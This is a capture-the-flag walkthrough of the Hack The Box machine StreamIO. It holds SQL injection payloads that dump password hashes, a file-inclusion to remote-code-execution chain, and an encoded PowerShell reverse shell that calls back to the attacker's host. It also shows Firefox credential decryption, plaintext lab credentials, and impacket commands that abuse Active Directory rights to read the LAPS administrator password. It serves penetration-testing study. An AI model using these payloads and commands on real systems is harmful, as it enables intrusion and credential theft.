HTB: StreamIO
Machine Link: https://app.hackthebox.com/machines/StreamIO
Enumeration:
Nmap Scan:
Starting Nmap 7.98 ( https://nmap.org ) at 2026-06-03 05:02 -0400
Nmap scan report for 10.129.9.255
Host is up (0.10s latency).
Not shown: 65515 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
|_http-title: IIS Windows Server
| http-methods:
|_ Potentially risky methods: TRACE
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2026-06-03 16:03:20Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: streamIO.htb, Site: Default-First-Site-Name)
443/tcp open ssl/https?
| tls-alpn:
| h2
|_ http/1.1
|_ssl-date: 2026-06-03T16:05:21+00:00; +6h59m59s from scanner time.
| ssl-cert: Subject: commonName=streamIO/countryName=EU
| Subject Alternative Name: DNS:streamIO.htb, DNS:watch.streamIO.htb
| Not valid before: 2022-02-22T07:03:28
|_Not valid after: 2022-03-24T07:03:28
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: streamIO.htb, Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp open mc-nmf .NET Message Framing
49667/tcp open msrpc Microsoft Windows RPC
49677/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49678/tcp open msrpc Microsoft Windows RPC
49707/tcp open msrpc Microsoft Windows RPC
49732/tcp open msrpc Microsoft Windows RPC
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windowsWe can see two domains from the nmap result(streamIO.htb , watch.streamIO.htb). Let’s update the hosts file.
http and https services run on ports 80 and 443.Let’s open both sites in a browser.
I checked the default credentials (admin:admin, etc.) and login based SQL on the login page of the streamio.htb website, but none of them worked. I created a new account and tried to log in, but that didn’t work either.
There may be hidden pages, so it’s worth running gobuster.
gobuster dir -u https://streamio.htb/ -w /usr/share/wordlists/dirb/common.txt -k -x php,zip,aspx,conf,bakWhen I go to the admin page, it gives a 403 forbidden error.
watch.streamio.htb
Gobuster:
gobuster dir -u https://watch.streamio.htb/ -w /usr/share/wordlists/dirb/common.txt -k -x php,zip,aspx,conf,bakSQL injection
Detection:
#payload
' --> no result
';-- - --> everything returnedColumn number:
1234' Union select 1,2,3,4,5,6;-- -We can return information on columns 2 and 3.
Databases:
1234' Union select 1,name,3,4,5,6 from master..sysdatabases;-- -Tables:
###streamio
1234' Union select 1,name,3,4,5,6 from streamio..sysobjects where xtype = 'u';-- -
###streamio_backup
1234' Union select 1,name,3,4,5,6 from streamio_backup..sysobjects where xtype = 'u';-- -But I couldn’t extract any table name for the streamio_backup database.
Columns:
1234' Union select 1,name,3,4,5,6 from syscolumns where id = (select id from sysobjects where name = 'users') ;-- -Dump:
1234' Union select 1,concat(username,' : ',password),3,4,5,6 from users ;-- -You can break some of the hashes on hashes.com.
Among these passwords, only the password of the yoshihide user is active.Now you can log in to the streamio.htb site as the yoshihide user.
After logging in, we can go to the admin panel.
Let’s fuzz the admin path below:
gobuster dir -u https://streamio.htb/admin/ -w /usr/share/wordlists/dirb/common.txt -k -x php,zip,aspx,conf,bakmaster.php is a non-default page.
When visiting the page, it says it can only be accessed with include. This could be a LFI hint. So I fuzzed again to find another one of the user,staff,movie parameters under admin.
ffuf -u "https://streamio.htb/admin/?FUZZ=" -w /usr/share/wordlists/seclists/Discovery/Web-Content/burp-parameter-names.txt -b PHPSESSID=ivflmpjq0p31b9qak2pbff3412 -fs 1678To check if there is an LFI, let’s fuzz the burp intruder with LFI payloads.
Let’s try reading source code using PHP wrappers.
https://streamio.htb/admin/?debug=php://filter/convert.base64-encode/resource=index.phpLet’s decode this encoded source code:
<?php
define('included',true);
session_start();
if(!isset($_SESSION['admin']))
{
header('HTTP/1.1 403 Forbidden');
die("<h1>FORBIDDEN</h1>");
}
$connection = array("Database"=>"STREAMIO", "UID" => "db_admin", "PWD" => 'B1@hx31234567890');
$handle = sqlsrv_connect('(local)',$connection);
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>Admin panel</title>
<link rel = "icon" href="/images/icon.png" type = "image/x-icon">
<!-- Basic -->
<meta charset="utf-8" />
<meta http-equiv="X-UA-Compatible" content="IE=edge" />
<!-- Mobile Metas -->
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" />
<!-- Site Metas -->
<meta name="keywords" content="" />
<meta name="description" content="" />
<meta name="author" content="" />
<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.1.3/dist/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-1BmE4kWBq78iYhFldvKuhfTAU6auU8tT94WrHftjDbrCEXSU1oBoqyl2QvZ6jIW3" crossorigin="anonymous">
<script src="https://cdn.jsdelivr.net/npm/bootstrap@5.1.3/dist/js/bootstrap.bundle.min.js" integrity="sha384-ka7Sk0Gln4gmtz2MlQnikT1wXgYsOg+OMhuP+IlRH9sENBO0LRn5q+8nbTov4+1p" crossorigin="anonymous"></script>
<!-- Custom styles for this template -->
<link href="/css/style.css" rel="stylesheet" />
<!-- responsive style -->
<link href="/css/responsive.css" rel="stylesheet" />
</head>
<body>
<center class="container">
<br>
<h1>Admin panel</h1>
<br><hr><br>
<ul class="nav nav-pills nav-fill">
<li class="nav-item">
<a class="nav-link" href="?user=">User management</a>
</li>
<li class="nav-item">
<a class="nav-link" href="?staff=">Staff management</a>
</li>
<li class="nav-item">
<a class="nav-link" href="?movie=">Movie management</a>
</li>
<li class="nav-item">
<a class="nav-link" href="?message=">Leave a message for admin</a>
</li>
</ul>
<br><hr><br>
<div id="inc">
<?php
if(isset($_GET['debug']))
{
echo 'this option is for developers only';
if($_GET['debug'] === "index.php") {
die(' ---- ERROR ----');
} else {
include $_GET['debug'];
}
}
else if(isset($_GET['user']))
require 'user_inc.php';
else if(isset($_GET['staff']))
require 'staff_inc.php';
else if(isset($_GET['movie']))
require 'movie_inc.php';
else
?>
</div>
</center>
</body>
</html>It is possible to find the database credentials from the index.php file. However, we cannot do anything at the moment because MSSQL is not accessible from the outside.
#database credentials
db_admin : B1@hx31234567890When looking at the source code of the master.php file, we can see the dangerous code block at the end:
<form method="POST">
<input name="include" hidden>
</form>
<?php
if(isset($_POST['include']))
{
if($_POST['include'] !== "index.php" )
eval(file_get_contents($_POST['include']));
else
echo(" ---- ERROR ---- ");In this code block, it accepts a parameter called include with the POST method. If the include parameter is different from index.php, it reads its contents with the file_get_contents() function. And executes the read code as PHP code with eval().
We can retrieve files from a remote server (RFI) with the file_get_contents() function.
Foothold
We only have access to the master.php file with the debug parameter. Therefore, we can intercept the request and change the method to POST to include the remote file with the include parameter. I created a reverse.php file in Kali for reverse shell and made it available on the network with a python server.
Get Nazarov Samir’s stories in your inbox
Join Medium for free to get updates from this writer.
reverse.php
system("powershell -e JABFAHIAcgBvAHIAVgBpAGUAdwA9ACIATgBvAHIAbQBhAGwAVgBpAGUAdwAiADsAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQA9ACIAQwBvAG4AdABpAG4AdQBlACIAOwAkAGMAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA0AC4AOAA3ACIALAA0ADQANAA0ACkAOwAkAHMAPQAkAGMALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAD0AMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpAD0AJABzAC4AUgBlAGEAZAAoACQAYgAsADAALAAkAGIALgBMAGUAbgBnAHQAaAApACkALQBuAGUAMAApAHsAJABkAD0AKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgAsADAALAAkAGkAKQA7AHQAcgB5AHsAJABvAD0AaQBlAHgAIAAkAGQAIAAyAD4AJgAxACAAMwA+ACYAMQAgADQAPgAmADEAIAA1AD4AJgAxACAANgA+ACYAMQB8AE8AdQB0AC0AUwB0AHIAaQBuAGcAfQBjAGEAdABjAGgAewAkAG8APQAkAF8AfABPAHUAdAAtAFMAdAByAGkAbgBnAH0AaQBmACgAWwBzAHQAcgBpAG4AZwBdADoAOgBJAHMATgB1AGwAbABPAHIARQBtAHAAdAB5ACgAJABvACkAKQB7ACQAbwA9ACIAIgB9ACQAcAA9ACIAUABTACAAIgArACgAcAB3AGQAKQAuAFAAYQB0AGgAKwAiAD4AIAAiADsAWwBiAHkAdABlAFsAXQBdACQAcwBiAD0AKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAG8AKwAkAHAAKQA7ACQAcwAuAFcAcgBpAHQAZQAoACQAcwBiACwAMAAsACQAcwBiAC4ATABlAG4AZwB0AGgAKQA7ACQAcwAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwAuAEMAbABvAHMAZQAoACkA");Lateral Movement
We just found the database credentials, but we couldn’t connect to it remotely because the mssql port wasn’t open. Now that we’ve got an internal shell as the yoshihide user, we can use these credentials.
We can execute commands in mssql with sqlcmd through a powershell session. But since it does not provide a direct connection, we have to call it separately for each query.
Databases:
sqlcmd -S 'DC' -U db_admin -P 'B1@hx31234567890' -Q 'Select name from master..sysdatabases;'We just dumped the STREAMIO database, but we couldn’t extract any data from streamio_backup.
Tables:
sqlcmd -S 'DC' -U db_admin -P 'B1@hx31234567890' -Q 'select name from streamio_backup..sysobjects where xtype="U"'Columns:
sqlcmd --% -S DC -U db_admin -P B1@hx31234567890 -Q "SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = 'users')"database dump:
sqlcmd --% -S DC -U db_admin -P B1@hx31234567890 -Q "use streamio_backup;SELECT concat(username,' : ',password) from users;"Let’s check hashes again on hashes.com.
We have seen other users besides nikk37 in the streamio database. So let’s check if we can connect with this user.
Let’s connect with evil-winrm as nikk37 user.
Let’s try WinPeas to switch to the Martin user.
These are the keys needed to encrypt user passwords stored in Firefox. If we can also find the logins.json file, we can read the passwords in plain text.
You can use the firepwd.py tool to open encrypted files.
python3 firepwd.py /root/Desktop/htb/StreamIO/key4.db /root/Desktop/htb/StreamIO/logins.jsonLet’s confirm credentials:
The JDgodd user is in the domain, but we cannot connect because he is not a member of the “Remote Management User” group.
Let’s map the domain with bloodhound and look for any dangerous privileges for the JDgodd user.
bloodhound-python -u nikk37 -p 'get_dem_girls2@yahoo.com' -d streamio.htb -ns 10.129.10.38 -c all --zipWe can see that the Jdgodd user has WriteOwner permission on the Core STAFF group.
Core Staff group members have ReadLAPSPassword permission on the DC.
NOTE:
WriteOwner: The right to take ownership of the target object. Once you become the owner, you change all of its permissions and take full control of the object.
ReadLAPSPassword: The right to read the computer’s local Administrator password directly from Active Directory in cleartext.
Let’s change the ownership of the “CORE STAFF” group.
impacket-owneredit -action write -new-owner 'jdgodd' -target 'CORE STAFF' 'streamio.htb'/'JDgodd':'JDg0dd1s@d0p3cr3@t0r'To read passwords from LDAP, we need to make ourselves a member of that group. To do this, first of all, our user must have WriteMembers permission on that group.
impacket-dacledit -action 'write' -rights 'WriteMembers' -principal 'jdgodd' -target 'CORE STAFF' 'streamio.htb'/'JDgodd':'JDg0dd1s@d0p3cr3@t0r'Now let’s add the jdgodd user to the “CORE STAFF” group.
net rpc group addmem "CORE STAFF" "jdgodd" -U "streamio.htb"/"JDgodd"%"JDg0dd1s@d0p3cr3@t0r" -S "dc.streamio.htb"Let’s confirm that we are members of the Core Staff group.
We can now read the Administrator password from LAPS.
nxc ldap streamio.htb -u 'jdgodd' -p 'JDg0dd1s@d0p3cr3@t0r' -M lapsAdministrator:
If I make any mistakes, please let me know.








